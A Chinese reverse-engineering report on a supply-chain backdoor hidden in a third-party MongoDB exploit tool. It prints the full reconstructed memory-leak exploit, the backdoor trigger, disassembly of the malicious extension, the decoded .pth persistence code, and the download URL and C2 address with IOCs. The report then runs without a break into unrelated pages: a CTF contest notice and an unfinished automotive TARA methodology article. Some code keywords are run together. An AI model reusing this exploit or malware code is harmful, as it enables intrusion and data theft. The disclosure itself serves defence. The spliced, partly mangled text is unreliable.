MongoBleed 供应链攻击逆向分析报告（详细版）

基本信息

项目溯源声明

此恶意文件来源于第三方扩展版仓库，与原版 MDUT 项目 SafeGroceryStore/MDUT 无任何关系。 原版 MDUT 不包含 MongoDB 相关插件，MongoBleed 是第三方「扩展版」自行新增的组件。其中扩展版的MongoBleed 工具被植入了后门。投毒行为与原作者无关，请勿混淆。

• 原版项目: https://github.com/SafeGroceryStore/MDUT （安全）

• 被投毒的第三方扩展版: https://github.com/DeEpinGh0st/MDUT-Extend-Release （受影响）

• 问题报告: issues/22

确认存在供应链后门。 工具表面是 CVE-2025-14847 MongoDB 内存泄漏 EXP，但依赖链 slogsec -> logcrypt.cryptography 中植入了恶意 C 扩展库，执行远程载荷下载、数据外泄和持久化控制。

攻击链路图

1. exploit.py -- 表面功能（CVE-2025-14847 EXP）

从字节码重建的完整源码：

# exploit.py -- CVE-2025-14847 MongoDB 内存泄漏利用工具
import socket                                           # 第1行
import struct                                           # 第2行
import zlib                                             # 第3行
import re                                               # 第4行
import argparse                                         # 第5行
import slogsec                  # <-- 恶意依赖入口       # 第6行
import threading                                        # 第7行
from concurrent.futures import ThreadPoolExecutor, as_completed  # 第8行
log = slogsec.get_logger('CVE-2025-14847')              # 第10行
defhexdump(data, length=16):                           # 第12行
"""格式化十六进制输出"""
    log.info(f"{'Offset':<10}{'Hex':<47}{'ASCII'}")
    log.info('-' * 75)
for i inrange(0, len(data), length):
        chunk = data[i:i+length]
        hex_part = ' '.join(f"{b:02x}"for b in chunk)
        ascii_part = ''.join(chr(b) if32 <= b <= 126else'.'for b in chunk)
        log.info(f"{i:08x}:  {hex_part:<47}  |{ascii_part}|")
defbuild_malformed_packet(leak_size):                  # 第21行
"""构造恶意 OP_COMPRESSED 数据包"""
# 构造 isMaster BSON 命令
    bson_payload = b'\x13\x00\x00\x00\x10isMaster\x00\x01\x00\x00\x00\x00'
# 构造 OP_QUERY 头部（指向 admin.$cmd）
    op_query_header = (struct.pack('<I', 0)
                       + b'admin.$cmd\x00'
                       + struct.pack('<ii', 0, -1))
    original_msg = op_query_header + bson_payload
# zlib 压缩
    compressed_body = zlib.compress(original_msg)
# 构造 OP_COMPRESSED 数据（opcode=2004=OP_QUERY, 伪造 uncompressed size）
    op_compressed_data = (struct.pack('<I', 2004)        # 原始 opcode
                          + struct.pack('<I', leak_size)  # 伪造的解压大小 <-- 漏洞核心
                          + b'\x02'# compressorId = zlib
                          + compressed_body)
# 生成 MongoDB wire protocol 头部
    request_id = random.randint(1000, 9999)
    op_code = 2012# OP_COMPRESSED
    total_len = 16 + len(op_compressed_data)
    header = struct.pack('<iiii', total_len, request_id, 0, op_code)
return header + op_compressed_data, request_id
defsend_probe(host, port, doc_len, buffer_size, timeout_sec=2):  # 第54行
"""发送畸形 BSON 触发内存泄漏"""
    content = b'\x10a\x00\x01\x00\x00\x00'# BSON int32 element
    bson = struct.pack('<i', doc_len) + content           # 伪造文档长度
# 构造 OP_MSG (opcode=2013)
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)
# OP_COMPRESSED 载荷
    payload = struct.pack('<I', 2013)                     # 原始 opcode
    payload += struct.pack('<i', buffer_size)              # 欺骗性解压大小
    payload += struct.pack('B', 2)                        # compressorId = zlib
    payload += compressed
# Wire protocol 头部
    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
try:
        sock = socket.socket()
        sock.settimeout(timeout_sec)
        sock.connect((host, port))
        sock.sendall(header + payload)
# 接收响应
        response = b''
while (len(response) < 4or
len(response) < struct.unpack('<I', response[:4])[0]):
            chunk = sock.recv(4096)
ifnot chunk:
break
            response += chunk
        sock.close()
return response
except:
returnb''
defextract_leaks(response):                             # 第89行
"""从错误响应中提取泄漏的内存数据"""
iflen(response) < 25:
return []
try:
        msg_len = struct.unpack('<I', response[:4])[0]
# 判断是否是 OP_COMPRESSED 响应
if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
else:
            raw = response[16:msg_len]
except:
return []
    leaks = []
# 模式1：从错误消息的 field name 中提取泄漏数据
formatchin re.finditer(b"field name '([^']*)'", raw):
        data = match.group(1)
ifnot data:
continue
if data notin (b'?', b'a', b'$db', b'ping'):
            leaks.append(data)
# 模式2：从 type 字段中提取泄漏的字节
formatchin re.finditer(b'type (\\d+)', raw):
        leaks.append(bytes([int(match.group(1)) & 255]))
return leaks
defmain():                                              # 第117行
    parser = argparse.ArgumentParser(
        description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost', help='Target host')
    parser.add_argument('--port', type=int, default=27017, help='Target port')
    parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
    parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
    parser.add_argument('-timeout', '--timeout', type=int, default=2,
help='Connection timeout in seconds')
    parser.add_argument('-c', '--thread', type=int, default=50,
help='Number of concurrent threads')
    parser.add_argument('--output', default='leaked.bin', help='Output file')
    args = parser.parse_args()
    log.info(f"[*] Target: {args.host}:{args.port}")
    log.info(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    log.info(f"[*] Timeout: {args.timeout}s")
    log.info(f"[*] Threads: {args.thread}")
    all_leaked = bytearray()
    unique_leaks = set()
    lock = threading.Lock()
defworker(doc_len):
"""多线程工作函数"""
        response = send_probe(args.host, args.port,
                              doc_len, doc_len + 500, args.timeout)
        leaks = extract_leaks(response)
for data in leaks:
with lock:
if data notin unique_leaks:
                    unique_leaks.add(data)
                    all_leaked.extend(data)
iflen(data) > 10:
                        log.info(f"[+] offset={doc_len:4d} len={len(data):4d}:")
                        hexdump(data[:80], length=16)
# 使用线程池并发扫描
with ThreadPoolExecutor(max_workers=args.thread) as executor:
        futures = {executor.submit(worker, dl): dl
for dl inrange(args.min_offset, args.max_offset)}
try:
for future in as_completed(futures):
                future.result()
except KeyboardInterrupt:
for f in futures:
                f.cancel()
            executor.shutdown(wait=False)
# 保存泄漏数据
withopen(args.output, 'wb') as f:
        f.write(all_leaked)
    log.success(f"[*] Total leaked: {len(all_leaked)} bytes")
    log.info(all_leaked.lower().decode())
if __name__ == '__main__':                               # 第177行
    main()

[!IMPORTANT]
漏洞利用本身看起来是真实有效的 MongoDB OP_COMPRESSED 内存泄漏工具——这是供应链攻击的伪装外衣。真正的恶意代码隐藏在依赖链中。

2. slogsec 模块 -- 恶意触发链

2.1 slogsec/init.py

# slogsec/__init__.py
from .log import get_logger
from .secure import enable_secure_logging
from .decrypt import decrypt_secure_log
__all__ = ['get_logger', 'enable_secure_logging', 'decrypt_secure_log']
log = get_logger('slogsec')    # 第12行 - 模块加载时就初始化

2.2 slogsec/log.py -- 日志封装（看似正常）

# slogsec/log.py
import logging
from colorlog import ColoredFormatter
SUCCESS = 25# 自定义日志级别
FAIL = 45
logging.addLevelName(SUCCESS, "SUCCESS")
logging.addLevelName(FAIL, "FAIL")
def_create_colored_handler():
    handler = logging.StreamHandler()
    formatter = ColoredFormatter(
'%(log_color)s%(message)s',
        log_colors={
'DEBUG': 'cyan',
'INFO': 'white',
'SUCCESS': 'green',
'WARNING': 'yellow',
'FAIL': 'red',
'ERROR': 'red',
'CRITICAL': 'bold_red',
        })
    handler.setFormatter(formatter)
return handler
classClogAdapter(logging.LoggerAdapter):
def__init__(self, name):
        logger = logging.getLogger(name)
ifnot logger.handlers:
            logger.addHandler(_create_colored_handler())
        logger.setLevel(logging.DEBUG)
super().__init__(logger, {})
defsuccess(self, msg, *args, **kwargs):
        self.log(25, msg, *args, **kwargs)
deffail(self, msg, *args, **kwargs):
        self.log(45, msg, *args, **kwargs)
defget_logger(name):
return ClogAdapter(name)

2.3 slogsec/secure.py -- 后门触发器

# slogsec/secure.py
from pathlib import Path
from logcrypt import generate_key        # <-- 引入 logcrypt（触发加载 cryptography.so）
from logcrypt import Logger as cryptlogger
secure_logger = None
defenable_secure_logging(filename, key_file, correlation_id=None, log_level='INFO'):"""
    Enable encrypted file logging and return a logger that writes to BOTH:
      - Beautiful colored console
      - Encrypted + checksum-protected file
    """global secure_logger
    key_path = Path(key_file)
# 如果密钥文件不存在，生成新密钥
ifnot key_path.exists():
        generate_key(encryption_key=None, key_file=str(key_path))
# 创建加密日志记录器
    secure_logger = cryptlogger(
        file_name=filename,
        encrypt_file=True,
        key_file=str(key_path),
        log_level=log_level,
        correlation_id=correlation_id or'slogsec',
        async_logging=True,
        file_format='text'
    )
print(f"Slogsec secure logging enabled -> {filename}")
print(f"Key stored at -> {key_path.resolve()}")
# ===== 后门触发代码 =====
try:
import builtins
ifhasattr(builtins, '__slogsec_make_secure__'):   # 检查是否已被注入
            builtins.__slogsec_make_secure__()              # 调用恶意函数！
except Exception:
pass# 静默吞掉异常
return secure_logger

[!CAUTION]
第 42-47 行是关键恶意代码。__slogsec_make_secure__ 是由 cryptography.so 在 PyInit_cryptography() 中注入到 Python builtins 模块的恶意函数。用 try/except 静默吞掉所有异常，确保即使恶意代码执行失败也不影响正常功能。

3. logcrypt 模块 -- 恶意载荷宿主

3.1 logcrypt/init.py

# logcrypt/__init__.py
from .core import Logger
from .levels import *
from .cryptography import encrypt_message, decrypt_message  # <-- 加载恶意 .so
from .key_manager import generate_key
from .decrypt_log import decrypt_log
from .filters import CorrelationIdFilter, RedactionFilter

[!WARNING]
from .cryptography import encrypt_message, decrypt_message 这一行触发 Python 加载 cryptography.so，执行其 PyInit_cryptography() 函数——即恶意代码的真正入口。

3.2 logcrypt/core.py -- 加密日志处理器

# logcrypt/core.py (重建的关键部分)
import logging
import hashlib
from logcrypt.cryptography import encrypt_message
from logcrypt.formatters import ColoredFormatter
from logcrypt.filters import CorrelationIdFilter
classEncryptedFileHandler(logging.FileHandler):
"""加密文件日志 Handler"""
def__init__(self, filename, encryption_key, mode='a', encoding=None, delay=False):
super().__init__(filename, mode, encoding, delay)
        self.encryption_key = encryption_key
defemit(self, record):
try:
            formatted = self.format(record)
            checksum = hashlib.sha256(formatted.encode('utf-8')).hexdigest()
            encrypted = encrypt_message(formatted, self.encryption_key)
            msg_to_write = f"{checksum}:{encrypted}"
            self.stream.write(msg_to_write + self.terminator)
            self.flush()
except Exception as e:
            self.handleError(record)
classLogger:
"""主日志类 - 支持控制台彩色输出 + 加密文件记录"""
def__init__(self, file_name=None, log_level='INFO',
                 correlation_id=None, encrypt_file=False,
                 encryption_key=None, key_file=None,
                 file_format='text', async_logging=False,
                 redact_patterns=None):
        self.logger = logging.getLogger('custom_logger')
        self.logger.setLevel(getattr(logging, log_level.upper(), logging.INFO))
        self.encryption_key = None
        self.file_handler = None
        self.encrypt_file = encrypt_file
        self.async_logging = async_logging
        self.listener = None
# ... 后续初始化控制台 handler、文件 handler 等

4. cryptography.so -- 恶意核心（深度二进制分析）

4.1 文件属性

类型:   ELF 64-bit LSB shared object (Python C 扩展)
编译器: GCC 11.3.0 (Debian)
.text:  0x9110 字节 (37KB 代码段)
入口:   PyInit_cryptography (地址 0x36a0)

4.2 完整导出符号表

PyInit_cryptography   T  0x36a0  -- Python 模块初始化（恶意核心）
encrypt_message       --         -- 正常功能伪装（RC4+Base64 加密）
decrypt_message       --         -- 正常功能伪装（RC4+Base64 解密）
system                T  0x6390  -- 执行系统命令
execve                T  0xb050  -- 执行程序
open                  T  0x4220  -- 打开文件
read                  T  0xacd0  -- 读取文件
fwrite                T  0xb300  -- 写入文件
mkdir                 T  0x69a0  -- 创建目录
access                T  0x71d0  -- 检查文件权限
getenv                T  0x4180  -- 读取环境变量
getlogin              T  0xabd0  -- 获取用户名
posix_spawn*          T  --      -- 进程创建系列函数
Py_Initialize         U  (外部)  -- 初始化 Python 解释器
PySys_GetObject       U  (外部)  -- 获取 sys 模块对象
PyDict_Next           U  (外部)  -- 遍历字典
PyObject_HasAttrString U (外部)  -- 检查对象属性
PyModule_Create2      U  (外部)  -- 创建 Python 模块

4.3 PyInit_cryptography() 反汇编分析

函数从 0x36a0 开始，栈帧 0x3238 字节（约 13KB），主要执行以下操作：

阶段 1 - 初始化混淆数据

;; 在栈上布置混淆的数据
;; 混淆路径（0x97-0xaf）: XOR 加密的 ".local/lib/pytho/site-packages/"
mov    rax, 0x4138162a213f3622     ; 混淆路径前8字节
mov    [rsp+0xa3], rax
mov    rax, 0x312e2e27333935       ; "593'.1." 混淆路径部分
mov    [rsp+0x97], rax
movl   [rsp+0xab], 0x21357737      ; "7w5!"
movb   [rsp+0xaf], 0x50            ; "P"
movl   [rsp+0x9f], 0x582d2d20      ; " --X"
;; 两块大型混淆数据从 .rodata 段加载（地址 0xc080 和 0xc408）
;; 分别是 0x386 字节和 0x1d0 字节的加密恶意载荷

阶段 2 - 遍历 Python 模块提取密钥

;; 获取 sys.path
lea    rdi, [rip+0x87e7]           ; "path" 字符串
call   PySys_GetObject@plt          ; rax = sys.path
;; 调用 Py_Initialize 初始化解释器
call   Py_Initialize@plt
;; 获取 Python 模块字典
lea    rdi, [rip+0x87e7]           ; "modules" 或 "path"
call   PySys_GetObject@plt
;; 遍历字典寻找特定属性作为 XOR 密钥
loop:
    mov    rdi, rbp                 ; 字典位置指针
    call   PyDict_Next@plt
    test   eax, eax
    jne    check_attr
    jmp    decrypt_phase
check_attr:
    mov    rdi, [rsp+0x60]          ; 当前字典项
    lea    rsi, [rip+...]           ; "__file__" 属性名
    call   PyObject_HasAttrString@plt
    test   eax, eax
    jne    found_key                ; 找到密钥
    jmp    loop

阶段 3 - XOR 解密 + zlib 解压

;; 使用提取的密钥（存储在 rbp，长度在 r12/rcx）逐字节 XOR 解密
;; 解密 site-packages 路径（25字节，偏移 0x97-0xaf）
xor    [rsp+0x97], al              ; 逐字节 XOR
xor    [rsp+0x98], al
... (重复25次)
;; 结果: ".local/lib/python3.12/site-packages/"
;; 解密恶意脚本A（0x386字节，循环 XOR）
decrypt_loop_A:
    mov    rax, rcx
    xor    edx, edx
    div    rsi                      ; index % key_length
    movzbl eax, [rbp+rdx]           ; key[index % key_len]
    xor    [rdi+rcx], al            ; data[i] ^= key[i % key_len]
    add    rcx, 1
    cmp    rcx, 0x386               ; 共 902 字节
    jne    decrypt_loop_A
;; 解密恶意脚本B（0x1d0字节，循环 XOR）
decrypt_loop_B:
    ... (同样的 XOR 循环)
    cmp    rcx, 0x1d0               ; 共 464 字节
    jne    decrypt_loop_B
;; zlib 解压
;; 脚本A: uncompress(malloc(0xe18), 0xe18, encrypted_A, 0x386) -> 3608 字节
mov    edi, 0xe18                   ; 解压缓冲区大小 = 3608
call   malloc@plt
mov    ecx, 0x386                   ; 压缩数据大小
call   uncompress@plt               ; zlib 解压
;; 脚本B: uncompress(malloc(0x740), 0x740, encrypted_B, 0x1d0) -> 1856 字节  
mov    edi, 0x740
call   malloc@plt
mov    ecx, 0x1d0
call   uncompress@plt
;; 解密额外数据（32字节，偏移 0xb0-0xcf）
decrypt_loop_C:
    xor    [rbx+rcx], al
    cmp    rcx, 0x20                ; 32 字节
    jne    decrypt_loop_C

阶段 4 - 写入恶意文件并执行

;; 使用解密的路径构造完整文件路径
;; 目标: {site-packages}/https.py, {site-packages}/pozos.py, {site-packages_root}/package.pth
;; mkdir 创建必要目录
call   mkdir@plt
;; open + fwrite 写入解压后的恶意脚本
call   open@plt
call   fwrite@plt
call   close@plt
;; 通过 system() 或 execve() 执行
call   system@plt                   ;; 或
call   execve@plt
;; 使用 posix_spawn 系列创建隐蔽子进程
call   posix_spawnattr_init
call   posix_spawnattr_setsigmask
call   posix_spawnattr_setsigdefault
call   posix_spawnattr_setflags
call   posix_spawn                  ;; 创建子进程执行恶意代码
call   posix_spawnattr_destroy
call   waitpid

4.4 正常功能伪装

cryptography.so 也提供了正常的加密/解密功能供 logcrypt.core 使用：

"Encrypt message using RC4 + Base64"  -> encrypt_message() 供加密日志使用
"Decrypt message using RC4 + Base64"  -> decrypt_message() 供解密日志使用

这使得该库在正常使用时表现完全正常，只在 PyInit_cryptography() 初始化时静默执行恶意操作。

5. 恶意载荷详解

5.1 https.py（从 mapbox API 下载的远程载荷）

根据 GitHub Issue #22 的分析，该脚本从以下 URL 下载并执行远程代码：

https://api.mapbox.com/datasets/v1/mattallahsaed/cmismaye7000s1mp2v8fkn4lp/
features/dm370543acmdopk296nahbtua?access_token=pk.eyJ1IjoibWF0dGFsbGFoc2FlZCIs
ImEiOiJjbWlzbWpncWkwNHRmM2ZzMWd1eTBmanQ4In0.VNFutzqzaSVfDiwQFr7_gQ

[!WARNING]
攻击者利用 mapbox 的合法 GeoJSON API 作为恶意载荷分发渠道，绕过基于域名黑名单的安全检测。

5.2 pozos.py（数据外泄模块）

负责将窃取的数据上传到 C2 服务器：

http://139.99.54.58:8088/api/v2/uswwwkuch2w2hwcg

5.3 package.pth（持久化机制）

在 Python site-packages/ 目录下创建 package.pth 文件，利用 Python 的 .pth 文件自动执行机制实现持久化：

# package.pth 中嵌入的 base64 解码后的代码：
import os, sys, subprocess
env = os.environ.copy()
# 通过环境变量互斥锁防止重复执行
if"ZEBUWIAKGPHOQAP006"in env and env["ZEBUWIAKGPHOQAP006"] == "PTsjBGKQUxZorq2":
if"JKHWQVEKRASDF12"notin env:
        os.environ["JKHWQVEKRASDF12"] = "JKHKJ23VAS8DF9"
import https              # 加载远程下载的恶意模块
else:
    env["ZEBUWIAKGPHOQAP006"] = "PTsjBGKQUxZorq2"
try:
# CREATE_NO_WINDOW = 0x08000000（Windows 隐藏窗口创建）
        subprocess.Popen([sys.executable], creationflags=0x08000000, env=env)
except OSError:
pass

持久化原理： Python 启动时会自动扫描 site-packages/ 中的 .pth 文件，如果某行以 import 开头，Python 会自动执行该行代码。因此每次 Python 启动都会触发恶意代码。

6. 全部模块文件清单

从 PyInstaller 中提取的 84 个文件 + PYZ 中的 236 个模块：

7. IOC (威胁指标)

# 文件哈希
SHA256: 8d68b11d1c847ecc7b3ec5f308c17d7fdfe2c0a2959f303c1fe17aa3a0b6baca
MD5:    ae978caf837221519847c0764bc492a8
# C2 服务器
IP:   139.99.54.58
Port: 8088
URI:  /api/v2/uswwwkuch2w2hwcg
# 载荷分发（利用合法服务）
域名: api.mapbox.com
账号: mattallahsaed
数据集: cmismaye7000s1mp2v8fkn4lp
# 持久化标志
文件: {site-packages}/package.pth
文件: {site-packages}/https.py
文件: {site-packages}/pozos.py
环境变量: ZEBUWIAKGPHOQAP006=PTsjBGKQUxZorq2
环境变量: JKHWQVEKRASDF12=JKHKJ23VAS8DF9
Python Builtins 属性: __slogsec_make_secure__
# 编译信息
编译器: GCC 11.3.0 (Debian)
Python: 3.12
PyInstaller: 2.1+

8. 应急建议

1. 立即隔离

    运行过该文件的主机，断网排查

2. 检查持久化

    - 搜索所有 Python 环境中的 package.pth、https.py、pozos.py

3. 检查环境变量

    - ZEBUWIAKGPHOQAP006 和 JKHWQVEKRASDF12

4. 网络封锁

    - 封锁 139.99.54.58，排查到该 IP 的历史连接

5. 审计 `.pth` 文件

    - 全盘搜索所有 .pth 文件，检查是否有可疑的 import 行

6. 凭据轮换

    - 受影响主机上的所有凭据、密钥、token 必须更换

7. 日志取证

    - 分析网络流量日志中到 api.mapbox.com 和 139.99.54.58 的连接记录

跳转微信打开

阅读原文

跳转微信打开

时间：2026.1.30 10:00 - 2026.2.1 10:00

比赛地址：https://vnctf.vnteam.cn

比赛qq群：717513199

难度：简单，面向大一大二CTF选手

跳转微信打开

年终总结

阅读原文

跳转微信打开

在本文中我将重点探讨TARA的方法论与实施思路，以期为相关团队提供参考

在方法论开始之前，请先允许我介绍一下TARA和TARA的作用

TARA是什么

目前（截至编写文章时间-2025年底）R155法规已被包括欧盟所有成员国、日本、韩国、英国、澳大利亚、南非等在内等超过60多个国家采纳，对OEM而言，自2022年7月起，欧盟成员国内对所有现有架构新车型进行强制实施R155，所有适用的新车型出口欧洲均需通过Vehicle Type Approval（车辆型式认证，简称VTA），自2024年7月开始所有架构所有车型都需通过认证

OEM要有效执行UN R155的合规要求，首先需要建立全面的网络安全管理体系，即Cybersecurity Management System (CSMS)，以确保汽车全生命周期中都有对应的流程措施用以控制相关风险，在这诸多要求中，威胁分析与风险评估（Threat Analysis and Risk Assessment，简称TARA）是贯穿始终的核心方法，要求从攻击者视角系统识别威胁场景、评估风险水平，并制定针对性的缓解措施，基于多年参与VTA认证项目的实践经验，在本文中我将重点探讨TARA的方法论与实施思路，以期为相关团队提供参考

TARA在UN R155中的定位和要求

UN R155法规的核心目标是要求OEM建立并运行有效的网络安全管理体系（CSMS），以确保车辆在全生命周期内抵御网络攻击风险，作为CSMS的关键组成部分，威胁分析与风险评估（TARA） 被视为实现这一目标的最基础工具，虽然法规正文没有直接使用“TARA”这个术语，但其对风险识别、评估和管理的要求（第7条及Annex 5）本质上指向了TARA方法，TARA在UN R155中的定位和要求主要体现在以下几个方面：

• 风险识别和评估的核心手段

法规7.3.3至7.3.6要求OEM系统识别车辆网络安全风险、评估风险水平并确定、验证缓解措施，TARA正是满足这些要求的具体方法，其要求OEM从攻击者视角分析潜在威胁，并覆盖车辆所有相关组件（包括供应链零部件），Annex 5提供的67个典型威胁场景作为参考基准，OEM需要证明已评估这些场景（如果不适用，说明不适用理由）

• 贯穿车辆全生命周期

TARA并非一次性活动，而是贯穿CSMS全过程的要求：在概念阶段进行初步风险评估、在开发阶段细化并迭代、在生产和运营阶段持续监控新出现的威胁并复审、在车辆退役阶段评估残余风险，法规明确要求OEM在CSMS中建立持续监控和残余风险管理过程（详见GRVA的解释文档7.2.2.2 (f)(g)，这个文档对UN R155 CSMS审核的目的、依据和细节做了很详细的说明），确保风险评估结果保持最新，当出现新漏洞、新攻击技术或车辆配置变更等情况时，需重新评估残余风险的可接受性，并采取必要措施

• VTA的关键证据

在车辆型式认证阶段，认证机构会重点审查OEM提交的风险评估结果及其衍生材料（包括威胁列表、风险值、安全目标等等），TARA报告是CSMS审计和VTA的核心证据之一，如果风险评估不完整或缺乏可追溯性，将直接导致认证失败

• 与UN R156的关联

软件更新过程是高风险攻击面（Annex 5中有多条相关威胁场景），TARA需特别评估OTA更新风险（如更新包篡改、伪造服务器、传输劫持），其结果直接输入SUMS设计，确保更新过程的安全性和可追溯性

• 供应链延伸要求

UN R155明确规定车辆网络安全的最终责任由OEM承担，即使风险来源于供应商提供的零部件，认证机构追究责任的时候也是首先找的OEM，也就是说OEM在进行整车级TARA的时候必须要将供应商零部件的风险评估结果纳入其中，确保整车风险分析的完整性，为了实现这一要求，在进行整车TARA分析前期阶段，供应商要向OEM提供必要的TARA相关工作输入

总的来说，TARA在UN R155中不仅是技术方法，更是合规证据链的核心环节，其输出直接决定后续网络安全需求的完整性和有效性，实践经验表明，认证审核中最常见的驳回原因往往源于TARA的深度不足（比如损害场景没有跟功能安全关联、威胁场景覆盖不全、攻击可行性评估过于乐观、风险处理决策缺乏依据等等）

TARA方法论

在开展工作前，OEM必须准备好以下材料：

• EE架构图，需体现ECU之间的通信链路设计方案（通信方式、通信协议、外部接口），架构图需要通过网络安全评审

• 整车功能清单，内容包括：功能定义、功能详细描述、每一个功能关联到的ECU 、功能的数据流

• 零部件清单及详细信息，包括简称和全称，零部件的配置详情（外部接口、是否包含诊断、诊断服务信息、是否包含刷写、刷写方式信息、PCB主板正反面图等）、零部件供应商名称、负责人及联系方式、功能简述、详述、架构等等

• …

相关性判定

在开始TARA之前，必须先进行网络安全相关性判定，结果用来确定哪些Item（要进行TARA的目标对象）需要纳入网络安全过程，该步骤的核心输出是相关Item的定义，通常以表格或专用报告形式呈现

相关Item定义包含以下关键要素：

• Item ID

  唯一标识符，用于在后续TARA报告、安全需求、验证测试中关联

• 功能描述

  Item在车辆中实现的主要功能

• 边界

  明确Item包含哪些部分、排除哪些部分，以及内部/外部接口定义，这是防止范围歧义的关键，通常通过画图的方式画出Item负责的部分即可

• 初步架构

  高层次E/E架构描述，包括主要组件、通信路径和依赖关系，通常引用架构图或简要文字说明，例如“T-Box通过蜂窝网络与后端服务器通信，内部通过Ethernet连接中央网关，网关再经CAN总线分发至各域ECU”

• 假设

  对Item外部环境的合理假设，基于实际情况和合理预期来假设“在这些条件下，Item的风险是可控的”，例如：

o 物理访问车辆受控，仅授权人员可接触OBD端口

o 后端OTA服务器的安全性由供应商保证

o 假设中央网关已实现防火墙过滤，阻止非法域之间的消息

• 相关性判定结果及理由

  明确“是/否”相关，例如：

o 相关：存在外部无线接口、接入整车CAN、处理敏感数据

o 不相关：纯机械零部件、无任何外部接口，不处理任何数据

只有判定为网络安全相关的Item才进入后续资产识别和TARA过程，不相关的Item只需记录判定理由，避免对无网络攻击面的Item（比如纯机械部件）进行不必要的分析，同时也能作为CSMS证据保存，关于判定步骤可以参考ISO/SAE 21434里的附录D Cybersecurity relevance–example methods and criteria:

零部件级如何应用

与整车级类似，零部件级TARA也以网络安全相关性判定为前提，只有判定为相关的Item才需执行完整的TARA，例如判定模块或功能、数据流、数据等

TARA开展

法规未强制指定风险评估的具体方法，但要求过程必须系统、可追溯，并覆盖所有潜在威胁，在认证实践中，ISO/SAE 21434标准定义的TARA方法已成为行业事实标准，该标准将TARA分解为资产识别、威胁场景识别、影响评级、攻击路径分析、攻击可行性评级、风险确定、风险处理决策七个步骤，形成一个闭环、可迭代的风险管理流程，在本文中，我也主要以21434中的方法介绍

一、资产识别（Asset identification）

根据判定结果，明确Item中可能被利用造成网络安全风险、需要保护的资产，包括物理组件、数据、功能等，并标注其安全属性（保密性、完整性、可用性、授权、不可抵赖性、真实性 - 21434里的3.1.20，除了有必不可少的属性，同时还对应后面说到的STRIDE模型）

为了完整识别资产，避免遗漏，我们可采用以下单一方法或结合使用（RQ-15-02 NOTE 2）：

• 分析Item定义

  从已确定的Item边界、功能描述、初步架构和假设出发，直接提取资产

• 进行影响评级

  通过损害场景反向推导需要保护的资产

• 从威胁场景中提取资产

  基于已识别的威胁场景，追溯涉及的关键资产

• 使用预定义目录

  使用预设资产分类模板（比如外部实体/硬件、功能单元、数据流、数据存储），按类别逐一列出

整车级TARA需识别整车层面资产（包括集成交互），零部件级TARA只关注组件内部及暴露接口资产

示例：

推荐预定义资产类型的方式，更快更方便，识别更完整：

• 整车TARA：除了架构图上的网络安全相关组件外，还有车辆对外暴露的USB接口（外部接口）、WIFI（功能单元）、无线射频（功能单元）、OTA（功能单元）等，还有在OTA更新功能中，资产可能包括：固件镜像文件（数据存储）、车机日志（数据存储）、OTA通道（数据流）、零部件间的通信（数据流）、IVI里的系统（功能单元）等

• 零部件TARA：调试接口（外部实体）、芯片（外部实体）、芯片间的通信（数据流）、芯片里的数据（数据存储）、芯片里的功能模组（功能单元）等

识别后的资产清单输出物示例：

TARA输出示例：

二、威胁场景识别（Threat scenario identification）

威胁场景识别是TARA的核心步骤之一，在实践中，一般使用STRIDE模型辅助分类（Spoofing欺骗、Tampering篡改、Repudiation不可否认、Information Disclosure信息泄露、Denial of Service拒绝服务、Elevation of Privilege权限提升），从分类中分析威胁场景

分析威胁场景目的是识别可能导致资产网络安全属性被违反（受到损害）的具体攻击方式，每个威胁场景必须包括以下核心要素（RQ-15-03）：

• 目标资产：

  被攻击的资产

• 资产的网络安全属性受损：

  哪个属性（保密性、完整性、可用性）被破坏

• 网络安全属性受损的原因：

  攻击者是怎么做到的

示例：

针对特定资产，使用STRIDE模型识别，注意要包含上面提到的核心要素：

• Tampering

  攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏

• Spoofing

  攻击者伪造【ECU1】与服务器的身份验证，导致【ECU1】通信身份验证机制的真实性遭到破坏

• Denial of Service

  攻击者干扰【ECU1】的CAN通信，导致【ECU1】通信通道的可用性被破坏

注意：UN R155 附录5列出了67个参考威胁场景作为法规基准，OEM必须逐一评估这些场景的适用性（适用就分析，不适用需要提供技术理由）

零部件级TARA主要识别组件内部威胁场景（包括内部数据流、存储、功能及暴露接口的威胁），可以考虑外部接口（如CAN、Ethernet等）被直接攻击的风险，但不需要负责这些接口在整车集成后与其他组件交互产生的新威胁（这些属于整车级责任）

整车级TARA需额外考虑集成引入的新场景，例如：

• 从娱乐域（IVI）穿越到动力域的攻击

• 网关路由规则漏洞导致的域隔离失效

• 多个ECU协同形成的攻击链（单个ECU看来正常，组合后产生高风险）

这样能确保风险覆盖完整，而且还符合OEM对整车网络安全的最终责任要求，TARA输出示例：

三、影响评级（Impact rating）

影响评级用于评估威胁场景实现后可能造成的潜在损害，即通过损害场景分析量化后果严重程度，该步骤的核心输出是每个威胁场景在Safety（安全）、Financial（财务）、Operational（操作）、Privacy（隐私）四个维度上的独立评级（RQ-15-04 SFOP框架，SFOP是对同一损害场景从不同视角进行的严重度评估，而非产生多个独立损害场景），评级等级通常为Negligible（可忽略不计）、Moderate（中等）、Major（主要）、Severe（严重）

损害场景是指威胁场景成功后，对车辆、用户或相关方造成的技术层面直接不良后果（例如“刹车系统失效”“车辆关键功能瘫痪”），21434建议损害场景包含以下要素（RQ-15-01 NOTE 1）：

• Item功能与不良后果之间的关系

• 对道路使用者的伤害描述

• 相关资产

示例：威胁场景“攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏”，该威胁场景的损害场景是：“篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险”，对应的SFOP评级（对该损害场景的多维度评估）：

• Safety = Severe

  （可能造成人员重伤或死亡）

• Financial = Major

  （医疗费用、维修或替代交通成本显著增加）

• Operational = Major

  （车辆关键功能瘫痪）

• Privacy = Negligible

  （无直接隐私数据泄露）

如果损害场景对某个维度的影响足够严重，则可优先聚焦该维度，其他维度作为辅助参考，比如上面的例子，综合影响评级为“Severe”，也就是取最高值（PM-15-07）

